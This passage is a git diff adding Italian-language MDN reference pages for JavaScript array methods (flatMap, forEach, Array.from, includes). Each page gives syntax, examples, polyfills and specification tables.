+ <dd>Funzione per produrre un elemento del nuovo Array, prevede a sua volta tre parametri:
+ <dl>
+  <dt></dt>
+  <dt><code>currentValue</code></dt>
+  <dd>L'elemento che si sta processando.</dd>
+  <dt><code>index</code>{{optional_inline}}</dt>
+  <dd>L'indice dell'elemento corrente.</dd>
+  <dt><code>array</code>{{optional_inline}}</dt>
+  <dd>L'array che si sta processando con <code>map</code>.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code>{{optional_inline}}</dt>
+ <dd>Valore usato come <code>this</code> mentre si esegue la <code>callback</code>.</dd>
+</dl>
+
+<h3 id="Risultato">Risultato</h3>
+
+<p>Un nuovo array i cui elementi sono il risultato della chiamata a <code>callback</code>, "appiattiti" ad una profondità di 1</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Guarda {{jsxref("Array.prototype.map()")}} per una descrizione dettagliata della funzione <code>callback</code>. <code>flatMap</code> è identico a una chiamata a <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a></code> seguita da una chiamata <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/flat">flat</a></code> con una profondità di 1.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="map_e_flatMap"><code>map()</code> e <code>flatMap()</code></h3>
+
+<pre class="brush: js notranslate">let arr1 = [1, 2, 3, 4];
+
+arr1.map(x =&gt; [x * 2]);
+// [[2], [4], [6], [8]]
+
+arr1.flatMap(x =&gt; [x * 2]);
+// [2, 4, 6, 8]
+
+// viene appiattito un solo elemento
+arr1.flatMap(x =&gt; [[x * 2]]);
+// [[2], [4], [6], [8]]
+</pre>
+
+<p>Lo stesso risultato lo si può ottenere anche con la sola chiamata a map, di seguito è riportato un esempio migliore di uso di <code>flatMap</code>.</p>
+
+<p>Viene generata una lista di parole da una lista di frasi.</p>
+
+<pre class="brush: js notranslate">let arr1 = ["it's Sunny in", "", "California"];
+
+arr1.map(x =&gt; x.split(" "));
+// [["it's","Sunny","in"],[""],["California"]]
+
+arr1.flatMap(x =&gt; x.split(" "));
+// ["it's","Sunny","in", "", "California"]</pre>
+
+<p>Notare che, a differenza di map da solo, la lunghezza dell'output è diversa tra le due chiamate e in particolare il risultato di <code>flatMap</code> non avrà la stessa lunghezza dell'input.</p>
+
+<h3 id="Aggiungere_e_rimuovere_elementi_durante_lesecuzione_di_map">Aggiungere e rimuovere elementi durante l'esecuzione di <code>map()</code></h3>
+
+<p><code>flatMap</code> può essere usato per aggiungere e rimuovere elementi durante l'esecuzione di <code>map</code>. In altre parole, offre la possibilità di mappare <em>molti a molti</em> (processando ogni input separatamente), anziché sempre <em>uno a uno</em>. In questo senso lavora come opposto di <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter">filter</a>. Basta restituire un array con un solo elemento per mantenere l'oggetto invariato, un array con più elementi, invece, aggiungerà questi al risultato, un array vuoto per rimuovere l'elemento corrente.</p>
+
+<pre class="brush: js notranslate">// Per rimuovere i numeri negativi e dividere i numeri dispari in un numero pari e un 1
+let a = [5, 4, -3, 20, 17, -33, -4, 18]
+//       |\  \  x   |  | \   x   x   |
+//      [4,1, 4,   20, 16, 1,       18]
+
+a.flatMap( (n) =&gt;
+  (n &lt; 0) ?      [] :
+  (n % 2 == 0) ? [n] :
+                 [n-1, 1]
+)
+
+// expected output: [4, 1, 4, 20, 16, 1, 18]
+</pre>
+
+<h2 id="Alternative">Alternative</h2>
+
+<h3 id="reduce_and_concat"><code>reduce()</code> and <code>concat()</code></h3>
+
+<pre class="brush: js notranslate">var arr = [1, 2, 3, 4];
+
+arr.flatMap(x =&gt; [x, x * 2]);
+// si ottiene lo stesso risultato con
+arr.reduce((acc, x) =&gt; acc.concat([x, x * 2]), []);
+// [1, 2, 2, 4, 3, 6, 4, 8]
+</pre>
+
+<p>Notare che questa soluzione non è efficente e non dovrebbe essere usata per array di grandi dimensioni: in ogni iterazione viene creato un nuovo array temporaneo che dovrà essere deallocato dal garbae collector, e copia gli elementi dall'array corrente (<code>acc</code>), in un nuovo array ad ogni iterazione invece di aggiungerli ad uno preesistente.</p>
+
+<div class="hidden">
+<p>Please do not add polyfills on this article. For reference, please check: <a href="https://discourse.mozilla.org/t/mdn-rfc-001-mdn-wiki-pages-shouldnt-be-a-distributor-of-polyfills/24500">https://discourse.mozilla.org/t/mdn-rfc-001-mdn-wiki-pages-shouldnt-be-a-distributor-of-polyfills/24500</a></p>
+</div>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.flatmap', 'Array.prototype.flatMap')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_browser">Compatibilità browser</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.flatMap")}}</p>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.flat()")}}</li>
+ <li>{{jsxref("Array.prototype.map()")}}</li>
+ <li>{{jsxref("Array.prototype.reduce()")}}</li>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/array/foreach/index.html b/files/it/web/javascript/reference/global_objects/array/foreach/index.html
new file mode 100644
index 0000000000..dbd4919852
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/array/foreach/index.html
@@ -0,0 +1,331 @@
+---
+title: Array.prototype.forEach()
+slug: Web/JavaScript/Reference/Global_Objects/Array/forEach
+tags:
+  - Array
+  - ECMAScript 5
+  - JavaScript
+  - Prototype
+  - Referenza
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/forEach
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <code><strong>forEach()</strong></code> esegue una funzione fornita una volta per ogni elemento dell'array.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-foreach.html")}}</div>
+
+
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><var>arr</var>.forEach(<var>callback(currentValue [, index [, array]])</var>[, <var>thisArg</var>]);</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Funzione da eseguire per ciascun elemento, prendendo tre argomenti:</dd>
+ <dd>
+ <dl>
+  <dt><code>currentValue</code></dt>
+  <dd>L'elemento corrente in elaborazione nell'array.</dd>
+  <dt><code>index</code> {{optional_inline}}</dt>
+  <dd>L'indice dell'elemento corrente in elaborazione nell'array.</dd>
+  <dt><code>array</code> {{optional_inline}}</dt>
+  <dd>L'array a cui viene applicato <code>forEach()</code>.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code> {{optional_inline}}</dt>
+ <dd>Valore da utilizzare come <code>this</code> quando si esegue <code>callback</code>.</dd>
+</dl>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p><code>forEach()</code> esegue il <code>callback</code> fornito una volta per ciascun elemento presente nell'array in ordine crescente. Non è invocato per le proprietà dell'indice che sono state eliminate o non inizializzate (ad esempio su array sparsi).</p>
+
+<p><code>callback</code> viene invocato con tre argomenti:</p>
+
+<ul>
+ <li>il valore dell'elemento</li>
+ <li>l'indice dell'elemento</li>
+ <li>l'array che deve essere iterato</li>
+</ul>
+
+<p>Se viene fornito il parametro <code>thisArg</code> a <code>forEach()</code>, verrà utilizzato come valore <code>this</code> del callback. Altrimenti, il valore {{jsxref("undefined")}} sarà usato come valore <code>this</code>. Il valore <code>this</code> alla fine osservabile da <code>callback</code> è determinato secondo <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/this">le consuete regole per determinare il <code>this</code> visto da una funzione</a>.</p>
+
+<p>L'intervallo di elementi elaborati da <code>forEach()</code> viene impostato prima della prima chiamata del <code>callback</code>. Gli elementi aggiunti all'array dopo che la chiamata <code>forEach()</code> inizia non saranno calcolati da <code>callback</code>. Se i valori degli elementi esistenti dell'array vengono modificati, il valore passato a <code>callback</code> sarà il valore al momento in cui <code>forEach()</code> li visita; gli elementi che vengono cancellati prima di essere visitati non vengono visitati. Se gli elementi già visitati vengono rimossi (ad esempio usando {{jsxref("Array.prototype.shift()", "shift()")}}) durante l'iterazione, gli elementi successivi verranno saltati - vedi l'esempio sotto.</p>
+
+<p><code>forEach()</code> esegue la funzione <code>callback</code> una volta per ogni elemento dell'array; a differenza di {{jsxref("Array.prototype.map()", "map()")}} o {{jsxref("Array.prototype.reduce()", "reduce()")}} restituisce sempre {{jsxref("undefined")}} e non è concatenabile. Il tipico caso d'uso è eseguire effetti collaterali alla fine del chain.</p>
+
+<p><code>forEach()</code> non muta l'array su cui è chiamato (sebbene <code>callback</code>, se invocato, possa farlo).</p>
+
+<div class="note">
+<p>Non c'è modo di fermare o interrompere un loop <code>forEach()</code> se non lanciando un'eccezione. Se hai bisogno di un simile comportamento, il metodo <code>forEach()</code> è lo strumento sbagliato.</p>
+
+<p>La risoluzione anticipata può essere eseguita con:</p>
+
+<ul>
+ <li>Un loop semplice</li>
+ <li>Un loop <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li>{{jsxref("Array.prototype.find()")}}</li>
+ <li>{{jsxref("Array.prototype.findIndex()")}}</li>
+</ul>
+
+<p>Gli altri metodi per array: {{jsxref("Array.prototype.every()")}}, {{jsxref("Array.prototype.some()")}}, {{jsxref("Array.prototype.find()")}}, e {{jsxref("Array.prototype.findIndex()")}} testano gli elementi dell'array con un predicato restituendo un valore di verità per determinare se è necessaria un'ulteriore iterazione.</p>
+</div>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Convertire_un_loop_for_in_forEach">Convertire un loop for in forEach</h3>
+
+<pre class="brush:js">const items = ['item1', 'item2', 'item3'];
+const copy = [];
+
+// prima
+for (let i=0; i&lt;items.length; i++) {
+  copy.push(items[i]);
+}
+
+// dopo
+items.forEach(function(item) {
+  copy.push(item);
+});
+</pre>
+
+<h3 id="Stampa_del_contenuto_di_un_array">Stampa del contenuto di un array</h3>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> Per visualizzare il contenuto di un array nella console, puoi utilizzare <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Console/table">console.table()</a></code> che stamperà una versione formattata dell'array. L'esempio seguente illustra un altro modo per farlo, usando <code>forEach()</code>.</p>
+</div>
+
+<p>Il seguente codice logga una linea per ogni elemento in un array:</p>
+
+<pre class="brush:js">function logArrayElements(element, index, array) {
+  console.log('a[' + index + '] = ' + element);
+}
+
+// Nota che l'indice 2 viene saltato poiché non vi è alcun elemento
+// in quella posizione nell'array.
+[2, 5, , 9].forEach(logArrayElements);
+// logga:
+// a[0] = 2
+// a[1] = 5
+// a[3] = 9
+</pre>
+
+<h3 id="Usare_thisArg">Usare <code>thisArg</code></h3>
+
+<p>Il seguente esempio (inventato) aggiorna le proprietà di un oggetto da ciascuna voce dell'array:</p>
+
+<pre class="brush:js">function Counter() {
+  this.sum = 0;
+  this.count = 0;
+}
+Counter.prototype.add = function(array) {
+  array.forEach(function(entry) {
+    this.sum += entry;
+    ++this.count;
+  }, this);
+  // ^---- Nota
+};
+
+const obj = new Counter();
+obj.add([2, 5, 9]);
+obj.count;
+// 3
+obj.sum;
+// 16
+</pre>
+
+<p>Poiché il parametro <code>thisArg</code> (<code>this</code>) viene fornito a <code>forEach()</code>, viene passato a <code>callback</code> ogni volta che viene richiamato, per essere utilizzato come valore <code>this</code>.</p>
+
+<div class="note">
+<p>Se si passa l'argomento della funzione utilizzando <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">un'espressione della funzione a freccia</a> il parametro <code>thisArg</code> può essere omesso poiché le funzioni a freccia associano in modo lessicale il valore {{jsxref("Operators/this", "this")}}.</p>
+</div>
+
+<h3 id="Una_funzione_di_copia_di_oggetti">Una funzione di copia di oggetti</h3>
+
+<p>Il seguente codice crea una copia di un dato oggetto. Esistono diversi modi per creare una copia di un oggetto; il seguente è solo un modo e viene presentato per spiegare come funziona <code>Array.prototype.forEach()</code> usando le funzioni di meta proprietà ECMAScript 5 <code>Object.*</code>.</p>
+
+<pre class="brush: js">function copy(obj) {
+  const copy = Object.create(Object.getPrototypeOf(obj));
+  const propNames = Object.getOwnPropertyNames(obj);
+
+  propNames.forEach(function(name) {
+    const desc = Object.getOwnPropertyDescriptor(obj, name);
+    Object.defineProperty(copy, name, desc);
+  });
+
+  return copy;
+}
+
+const obj1 = { a: 1, b: 2 };
+const obj2 = copy(obj1); // obj2 looks like obj1 now
+</pre>
+
+<h3 id="Se_l'array_viene_modificato_durante_l'iterazione_altri_elementi_potrebbero_essere_saltati.">Se l'array viene modificato durante l'iterazione, altri elementi potrebbero essere saltati.</h3>
+
+<p>L'esempio seguente registra "uno", "due", "quattro". Quando viene raggiunta la voce contenente il valore "due", la prima voce dell'intero array viene spostata, il che comporta il trasferimento di tutte le voci rimanenti in una posizione. Poiché l'elemento "quattro" è ora in una posizione precedente nell'array, "tre" verrà saltato. <code>forEach()</code> non esegue una copia dell'array prima di iterare.</p>
+
+<pre class="brush:js">var words = ['uno', 'due', 'tre', 'quattro'];
+words.forEach(function(word) {
+  console.log(word);
+  if (word === 'due') {
+    words.shift();
+  }
+});
+// uno
+// due
+// quattro
+</pre>
+
+<h3 id="Appiattire_un_array">Appiattire un array</h3>
+
+<p>Il seguente esempio è qui solo per scopi didattici. Se si desidera appiattire un array usando metodi built-in, è possibile utilizzare {{jsxref("Array.prototype.flat()")}} (che dovrebbe essere parte di ES2019 e già implementato in alcuni browser).</p>
+
+<pre class="brush: js">/**
+ * Flattens ha passato un array in un array dimensionale
+ *
+ * @params {array} arr
+ * @returns {array}
+ */
+function flatten(arr) {
+  const result = []
+
+  arr.forEach((i) =&gt; {
+    if (Array.isArray(i)) {
+      result.push(...flatten(i))
+    } else {
+      result.push(i)
+    }
+  })
+
+  return result
+}
+
+// Uso
+const problem = [1, 2, 3, [4, 5, [6, 7], 8, 9]]
+
+flatten(problem) // [1, 2, 3, 4, 5, 6, 7, 8, 9]
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p><code>forEach()</code> è stato aggiunto allo standard ECMA-262 nella quinta edizione; in quanto tale potrebbe non essere presente in altre implementazioni dello standard. È possibile aggirare questo problema inserendo il seguente codice all'inizio degli script, consentendo l'uso di <code>forEach()</code> nelle implementazioni che non lo supportano in modo nativo. Questo algoritmo è esattamente quello specificato in ECMA-262, 5a edizione, assumendo {{jsxref("Object")}} e {{jsxref("TypeError")}} hanno i loro valori originali e quel <code>callback.call()</code> valuta il valore originale di {{jsxref("Function.prototype.call()")}}.</p>
+
+<pre class="brush: js">// Production steps of ECMA-262, Edition 5, 15.4.4.18
+// Reference: http://es5.github.io/#x15.4.4.18
+if (!Array.prototype.forEach) {
+
+  Array.prototype.forEach = function(callback/*, thisArg*/) {
+
+    var T, k;
+
+    if (this == null) {
+      throw new TypeError('this is null or not defined');
+    }
+
+    // 1. Let O be the result of calling toObject() passing the
+    // |this| value as the argument.
+    var O = Object(this);
+
+    // 2. Let lenValue be the result of calling the Get() internal
+    // method of O with the argument "length".
+    // 3. Let len be toUint32(lenValue).
+    var len = O.length &gt;&gt;&gt; 0;
+
+    // 4. If isCallable(callback) is false, throw a TypeError exception.
+    // See: http://es5.github.com/#x9.11
+    if (typeof callback !== 'function') {
+      throw new TypeError(callback + ' is not a function');
+    }
+
+    // 5. If thisArg was supplied, let T be thisArg; else let
+    // T be undefined.
+    if (arguments.length &gt; 1) {
+      T = arguments[1];
+    }
+
+    // 6. Let k be 0.
+    k = 0;
+
+    // 7. Repeat while k &lt; len.
+    while (k &lt; len) {
+
+      var kValue;
+
+      // a. Let Pk be ToString(k).
+      //    This is implicit for LHS operands of the in operator.
+      // b. Let kPresent be the result of calling the HasProperty
+      //    internal method of O with argument Pk.
+      //    This step can be combined with c.
+      // c. If kPresent is true, then
+      if (k in O) {
+
+        // i. Let kValue be the result of calling the Get internal
+        // method of O with argument Pk.
+        kValue = O[k];
+
+        // ii. Call the Call internal method of callback with T as
+        // the this value and argument list containing kValue, k, and O.
+        callback.call(T, kValue, k, O);
+      }
+      // d. Increase k by 1.
+      k++;
+    }
+    // 8. return undefined.
+  };
+}
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.18', 'Array.prototype.forEach')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definizione iniziale Implementato in JavaScript 1.6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.foreach', 'Array.prototype.forEach')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.foreach', 'Array.prototype.forEach')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.forEach")}}</p>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.find()")}}</li>
+ <li>{{jsxref("Array.prototype.findIndex()")}}</li>
+ <li>{{jsxref("Array.prototype.map()")}}</li>
+ <li>{{jsxref("Array.prototype.filter()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li>{{jsxref("Map.prototype.forEach()")}}</li>
+ <li>{{jsxref("Set.prototype.forEach()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/array/from/index.html b/files/it/web/javascript/reference/global_objects/array/from/index.html
new file mode 100644
index 0000000000..83baed1267
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/array/from/index.html
@@ -0,0 +1,242 @@
+---
+title: Array.from()
+slug: Web/JavaScript/Reference/Global_Objects/Array/from
+tags:
+  - Array
+  - ECMAScript 2015
+  - JavaScript
+  - Referenza
+  - metodo
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/from
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <code><strong>Array.from()</strong></code> crea una nuova istanza <code>Array</code> copiata superficialmente da un oggetto array-like o iterabile.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-from.html")}}</div>
+
+
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">Array.from(arrayLike[, mapFn[, thisArg]])
+</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>arrayLike</code></dt>
+ <dd>Un oggetto array-like o iterabile da convertire in un array.</dd>
+ <dt><code>mapFn</code> {{Optional_inline}}</dt>
+ <dd>Funzione map per chiamare su ogni elemento dell'array.</dd>
+ <dt><code>thisArg</code> {{Optional_inline}}</dt>
+ <dd>Valore da utilizzare come <code>this</code> quando <code>mapFn</code> viene eseguita.</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Una nuova istanza {{jsxref("Array")}}.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p><code>Array.from()</code> consente di creare <code>Array</code> da:</p>
+
+<ul>
+ <li>oggetti array-like (oggetti con una proprietà <code>length</code> ed elementi indicizzati) o</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/iterable">oggetti iterabili</a> (oggetti in cui è possibile ottenere i suoi elementi, come ad esempio {{jsxref("Map")}} e {{jsxref("Set")}}).</li>
+</ul>
+
+<p><code>Array.from()</code> ha un parametro opzionale <code>mapFn</code>, che ti permette di eseguire una funzione {{jsxref("Array.prototype.map", "map")}} su ogni elemento dell'array (o dell'oggetto sottoclasse) che si sta creando. Più chiaramente, <code>Array.from(obj, mapFn, thisArg)</code> ha lo stesso risultato di <code>Array.from(obj).map(mapFn, thisArg)</code>, tranne che non crea un array intermedio. Questo è particolarmente importante per alcune sottoclassi di array, come gli <a href="/en-US/docs/Web/JavaScript/Typed_arrays">array tipizzati</a>, poiché l'array intermedio avrebbe necessariamente valori troncati per adattarsi al tipo appropriato.</p>
+
+<p>La proprietà <code>length</code> del metodo <code>from()</code> è 1.</p>
+
+<p>In ES2015, la sintassi della classe consente la sottoclassificazione di entrambe le classi predefinite e definite dall'utente; di conseguenza, i metodi statici come <code>Array.from</code> sono "ereditati" dalle sottoclassi di <code>Array</code> e creano nuove istanze della sottoclasse, non <code>Array</code>.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Array_da_una_String">Array da una <code>String</code></h3>
+
+<pre class="brush: js">Array.from('foo');
+// ["f", "o", "o"]</pre>
+
+<h3 id="Array_da_un_Set">Array da un <code>Set</code></h3>
+
+<pre class="brush: js">var s = new Set(['foo', window]);
+Array.from(s);
+// ["foo", window]</pre>
+
+<h3 id="Array_da_una_Map">Array da una <code>Map</code></h3>
+
+<pre class="brush: js">var m = new Map([[1, 2], [2, 4], [4, 8]]);
+Array.from(m);
+// [[1, 2], [2, 4], [4, 8]]
+
+var mapper = new Map([['1', 'a'], ['2', 'b']]);
+Array.from(mapper.values());
+// ['a', 'b'];
+
+Array.from(mapper.keys());
+// ['1', '2'];
+</pre>
+
+<h3 id="Array_di_un_oggetto_Array-like_(arguments)">Array di un oggetto Array-like (arguments)</h3>
+
+<pre class="brush: js">function f() {
+  return Array.from(arguments);
+}
+
+f(1, 2, 3);
+
+// [1, 2, 3]</pre>
+
+<h3 id="Utilizzo_delle_funzioni_a_freccia_e_Array.from">Utilizzo delle funzioni a freccia e <code>Array.from</code></h3>
+
+<pre class="brush: js">// Utilizzando una funzione freccia come funzione map
+// per manipolare gli elementi
+Array.from([1, 2, 3], x =&gt; x + x);
+// [2, 4, 6]
+
+
+// Genera una sequenza di numeri
+// Poiché l'array è inizializzato con `undefined` su ogni posizione,
+// il valore di `v` sotto sarà `undefined`
+Array.from({length: 5}, (v, i) =&gt; i);
+// [0, 1, 2, 3, 4]
+</pre>
+
+<h3 id="Generatore_di_sequenze_(range)">Generatore di sequenze (range)</h3>
+
+<pre class="brush: js">// Funzione del generatore di sequenze (comunemente denominata "range", ad esempio Clojure, PHP ecc.)
+const range = (start, stop, step) =&gt; Array.from({ length: (stop - start) / step }, (_, i) =&gt; start + (i * step));
+
+// Genera numeri range 0..4
+range(0, 5, 1);
+// [0, 1, 2, 3, 4]
+
+// Genera l'alfabeto usando Array.from facendolo usare come sequenza
+range('A'.charCodeAt(0), 'Z'.charCodeAt(0) + 1, 1).map(x =&gt; String.fromCharCode(x));
+// ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"]
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p><code>Array.from</code> è stato aggiunto allo standard ECMA-262 nella sesta edizione (ES2015); in quanto tale potrebbe non essere presente in altre implementazioni dello standard. È possibile aggirare questo problema inserendo il seguente codice all'inizio degli script, consentendo l'uso di <code>Array.from</code> in implementazioni che non lo supportano in modo nativo. Questo algoritmo è esattamente quello specificato in ECMA-262, 6a edizione, assumendo che <code>Object</code> e <code>TypeError</code> abbiano i loro valori originali e che <code>callback.call</code> valuti il valore originale di {{jsxref("Function.prototype.call")}}. Inoltre, poiché i veri iterabili non possono essere polyfilled, questa implementazione non supporta iterables generici come definito nella sesta edizione di ECMA-262.</p>
+
+<pre class="brush: js">// Production steps of ECMA-262, Edition 6, 22.1.2.1
+if (!Array.from) {
+  Array.from = (function () {
+    var toStr = Object.prototype.toString;
+    var isCallable = function (fn) {
+      return typeof fn === 'function' || toStr.call(fn) === '[object Function]';
+    };
+    var toInteger = function (value) {
+      var number = Number(value);
+      if (isNaN(number)) { return 0; }
+      if (number === 0 || !isFinite(number)) { return number; }
+      return (number &gt; 0 ? 1 : -1) * Math.floor(Math.abs(number));
+    };
+    var maxSafeInteger = Math.pow(2, 53) - 1;
+    var toLength = function (value) {
+      var len = toInteger(value);
+      return Math.min(Math.max(len, 0), maxSafeInteger);
+    };
+
+    // The length property of the from method is 1.
+    return function from(arrayLike/*, mapFn, thisArg */) {
+      // 1. Let C be the this value.
+      var C = this;
+
+      // 2. Let items be ToObject(arrayLike).
+      var items = Object(arrayLike);
+
+      // 3. ReturnIfAbrupt(items).
+      if (arrayLike == null) {
+        throw new TypeError('Array.from requires an array-like object - not null or undefined');
+      }
+
+      // 4. If mapfn is undefined, then let mapping be false.
+      var mapFn = arguments.length &gt; 1 ? arguments[1] : void undefined;
+      var T;
+      if (typeof mapFn !== 'undefined') {
+        // 5. else
+        // 5. a If IsCallable(mapfn) is false, throw a TypeError exception.
+        if (!isCallable(mapFn)) {
+          throw new TypeError('Array.from: when provided, the second argument must be a function');
+        }
+
+        // 5. b. If thisArg was supplied, let T be thisArg; else let T be undefined.
+        if (arguments.length &gt; 2) {
+          T = arguments[2];
+        }
+      }
+
+      // 10. Let lenValue be Get(items, "length").
+      // 11. Let len be ToLength(lenValue).
+      var len = toLength(items.length);
+
+      // 13. If IsConstructor(C) is true, then
+      // 13. a. Let A be the result of calling the [[Construct]] internal method
+      // of C with an argument list containing the single item len.
+      // 14. a. Else, Let A be ArrayCreate(len).
+      var A = isCallable(C) ? Object(new C(len)) : new Array(len);
+
+      // 16. Let k be 0.
+      var k = 0;
+      // 17. Repeat, while k &lt; len… (also steps a - h)
+      var kValue;
+      while (k &lt; len) {
+        kValue = items[k];
+        if (mapFn) {
+          A[k] = typeof T === 'undefined' ? mapFn(kValue, k) : mapFn.call(T, kValue, k);
+        } else {
+          A[k] = kValue;
+        }
+        k += 1;
+      }
+      // 18. Let putStatus be Put(A, "length", len, true).
+      A.length = len;
+      // 20. Return A.
+      return A;
+    };
+  }());
+}
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.from', 'Array.from')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.from', 'Array.from')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Array.from")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Array.prototype.map()")}}</li>
+ <li>{{jsxref("TypedArray.from()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/array/includes/index.html b/files/it/web/javascript/reference/global_objects/array/includes/index.html
new file mode 100644
index 0000000000..04dc817974
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/array/includes/index.html
@@ -0,0 +1,162 @@
+---
+title: Array.prototype.includes()
+slug: Web/JavaScript/Reference/Global_Objects/Array/includes
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/includes
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <code><strong>includes()</strong></code> determina se un array include un certo elemento, ritornando <code>true</code> o <code>false</code> a seconda del caso</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">var <var>boolean</var> = <var>array</var>.includes(<var>searchElement</var>[, <var>fromIndex</var>])</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>searchElement</code></dt>
+ <dd>L'elemento da cercare.</dd>
+ <dt><code>fromIndex</code></dt>
+ <dd>Opzionale. La posizione nell'array da cui partire per cercare l'elemento <code>searchElement</code>. Un valore negativo ricerca dal valore di <code>array.length + fromIndex</code> in maniera ascendente. Il valore di default è 0.</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Un {{jsxref("Boolean")}}.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">[1, 2, 3].includes(2);     // true
+[1, 2, 3].includes(4);     // false
+[1, 2, 3].includes(3, 3);  // false
+[1, 2, 3].includes(3, -1); // true
+[1, 2, NaN].includes(NaN); // true
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js">if (!Array.prototype.includes) {
+  Array.prototype.includes = function(searchElement /*, fromIndex*/) {
+    'use strict';
+    if (this == null) {
+      throw new TypeError('Array.prototype.includes called on null or undefined');
+    }
+
+    var O = Object(this);
+    var len = parseInt(O.length, 10) || 0;
+    if (len === 0) {
+      return false;
+    }
+    var n = parseInt(arguments[1], 10) || 0;
+    var k;
+    if (n &gt;= 0) {
+      k = n;
+    } else {
+      k = len + n;
+      if (k &lt; 0) {k = 0;}
+    }
+    var currentElement;
+    while (k &lt; len) {
+      currentElement = O[k];
+      if (searchElement === currentElement ||
+         (searchElement !== searchElement &amp;&amp; currentElement !== currentElement)) { // NaN !== NaN
+        return true;
+      }
+      k++;
+    }
+    return false;
+  };
+}
+</pre>
+
